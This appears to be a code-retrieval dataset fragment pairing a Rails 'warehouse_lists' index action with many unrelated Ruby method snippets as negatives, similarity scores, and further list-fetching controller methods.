"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def host_state_params
params.require(:host_state).permit(:name)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
GET /warehouse_lists GET /warehouse_lists.xml
|
def index
@warehouse_lists = get_warehouse_lists(:page => params[:page])
respond_to do |format|
format.html # index.html.erb
format.xml { render :xml => @warehouse_lists }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @warehouse_list = WarehouseList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @warehouse_list }\n end\n end",
"def index\n @list = List.find(params[:list_id])\n @list_items = @list.list_items.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @list_items }\n end\n end",
"def index\n @lists = List.find(:all)\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @lists }\n end\n end",
"def get_list(list_id)\n rest(\"get\", \"lists/#{list_id}\")\n end",
"def get_lists\n response = rest(\"get\", \"lists\")\n\n return response[\"lists\"]\n end",
"def index\n @product_lists = ProductList.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @product_lists }\n end\n end",
"def index\n @wish_lists = WishList.find(:all, :order => 'created_at DESC').paginate :per_page => 20, :page => params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @wish_lists }\n end\n end",
"def get_listings_xml(url)\n @client.get_content(url)\n end",
"def list\n url = prefix + \"list\"\n return response(url)\n end",
"def lists\n client.get_lists\n end",
"def index\n @thing_lists = ThingList.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @thing_lists }\n end\n end",
"def index\n @list = List.find(params[:list_id])\n @items = @list.items\n\n respond_with @items\n end",
"def get_list(params = {})\n http_helper.send_get_request(\"#{@url_prefix}/\", params)\n end",
"def get_lists(options={})\n visibility = options[:visibility]\n list_type = options[:list_type]\n folder_id = options[:folder_id]\n include_all_lists = options[:include_all_lists]\n include_tags = options[:include_tags]\n\n raise ArgumentError, \"visibility option is required\" unless visibility\n raise ArgumentError, \"list_type option is required\" unless list_type\n\n request_body = ''\n xml = Builder::XmlMarkup.new(:target => request_body, :indent => 1)\n\n xml.instruct!\n xml.Envelope do\n xml.Body do\n xml.GetLists do\n xml.VISIBILITY visibility\n xml.LIST_TYPE list_type\n xml.FOLDER_ID folder_id if folder_id.present?\n xml.INCLUDE_ALL_LISTS 'true' if include_all_lists.present?\n xml.INCLUDE_TAGS 'true' if include_tags.present?\n end\n end\n end\n\n doc = send_xml_api_request(request_body)\n result_dom(doc)['LIST']\n end",
"def index\n @search = @company.warehouses.search(params[:search])\n @warehouses = @search.order(\"created_at DESC\").page(params[:page]).per(20)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @warehouses }\n end\n end",
"def list\n\t@storecunsumptions = Storecunsumption.paginate :page => params[:page], :per_page => 10\n\t\trespond_to do |format|\t\t\n\t\tformat.html \n\t\tformat.xml { render :xml => @storecunsumptions }\t\t#Render to XML File\n\t\tend\n\tend",
"def index(list_name, site_path = '', fields = [])\n url = computed_web_api_url(site_path)\n url = \"#{url}lists/GetByTitle('#{odata_escape_single_quote(list_name)}')/items\"\n url += \"?$select=#{fields.join(\",\")}\" if fields\n\n process_url( uri_escape(url), fields )\n end",
"def index\n if show\n show.default_set_lists\n @show_set_lists = show.show_set_lists.all\n @tour = show.tour\n else\n @show_set_lists = ShowSetList.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @show_set_lists }\n format.json { render :json => @show_set_lists }\n end\n end",
"def list\n get('/')\n end",
"def index\n @list_items = List.find(params[:list_id]).list_items\n\n render json: @list_items\n end",
"def show\n @list = List.find(params[:list_id])\n @list_item = @list.list_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @list_item }\n end\n end",
"def list\n url = prefix + \"list\"\n return response(url)\n end",
"def index\n @wishlist_items = WishlistItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @wishlist_items }\n end\n end",
"def index\n @warehouses = Warehouse.all\n end",
"def index\n @lsrs_cmp = LsrsCmp.order('WarehouseName')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lsrs_cmp }\n end\n end",
"def get_list(user, list)\n get(\"/#{user}/lists/#{list}.json\")\n end",
"def index\n @quote_lists = QuoteList.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @quote_lists }\n end\n end",
"def show\n @warehouse = Warehouse.find(params[:id])\n @stocks = Stock.where(:company_id => @company.id, :warehouse_id => params[:id]).page(params[:page]).per(20)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @warehouse }\n end\n end",
"def show\n @list = List.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @list }\n end\n end",
"def index\n @lists = current_project.lists\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lists }\n end\n end",
"def index\n @file_list = UploadedFileList.find(params[:uploaded_file_list_id])\n @file_list_items = @file_list.file_list_items.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @file_list_items }\n end\n end",
"def index\n @leks = Lek.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @leks }\n end\n end",
"def list_items_list(page_id = current_page_id, list_id = current_list_id)\n request \"page/#{page_id}/lists/#{list_id}/items/list\"\n end",
"def list(params = {})\n http_helper.send_get_request(\"#{@url_prefix}/list\", params)\n end",
"def list(params = {})\n http_helper.send_get_request(\"#{@url_prefix}/list\", params)\n end",
"def list\n\t\t@wards = Ward.paginate :page => params[:page], :per_page => 10\t#Paginatin of 10 Records\n\t\trespond_to do |format|\n\t \t\t format.html # list.html.erb\n\t \t\t\tformat.xml { render :xml => @wards }\t#Render to XML Files\n\t\tend\n\tend",
"def index\n json_response(@board.lists)\n end",
"def getLists()\n url = \"https://api.nytimes.com/svc/books/v3/lists/names.json\"\n params = {}\n self.request(url, params)\n end",
"def index\n @article_lists = ArticleList.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @article_lists }\n end\n end",
"def index\n @runlists = Runlist.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @runlists }\n end\n end",
"def list\n Log.add_info(request, params.inspect)\n\n @tmpl_folder, @tmpl_workflows_folder = TemplatesHelper.get_tmpl_subfolder(TemplatesHelper::TMPL_WORKFLOWS)\n\n my_wf_folder = WorkflowsHelper.get_my_wf_folder(@login_user.id)\n\n sql = WorkflowsHelper.get_list_sql(@login_user.id, my_wf_folder.id)\n @workflows = Workflow.find_by_sql(sql)\n\n @received_wfs = Workflow.get_received_list(@login_user.id, 'id DESC')\n\n rescue => evar\n Log.add_error(request, evar)\n end",
"def index\n @lists = @organization.lists.all\n end",
"def index\n @api_v1_shopping_lists = ShoppingList.all\n end",
"def index\n @list_items = @list.list_items\n end",
"def get_lists(user)\n get(\"/#{user}/lists.json\")\n end",
"def show\n\t\t@list = List.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml\t{ render :xml => @list }\n\t\tend\n\tend",
"def index\n @shopping_lists = ShoppingList.find_all_by_user_id(session[:user_id])\n\n respond_to do |format|\n format.html \n format.xml { render :xml => @shopping_lists }\n end\n end",
"def index\n @lists = List.all\n end",
"def index\n @lists = List.all\n end",
"def index\n @lists = List.all\n end",
"def index\n @lists = List.all\n end",
"def index\n @lists = List.all\n\n end",
"def lists\n Resources::Lists.new(self)\n end",
"def index\n @todo_lists = TodoList.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @todo_lists }\n end\n end",
"def index\n @client_warehouses = ClientWarehouse.paginate(:page => params[:offset], :per_page => 20)\n\n client_warehouses_hash()\n respond_to do |format|\n format.html\n format.json { render :json => @client_warehouses_hash }\n format.xml { render :xml => @client_warehouses_hash }\n end\n end",
"def list\n get()\n end",
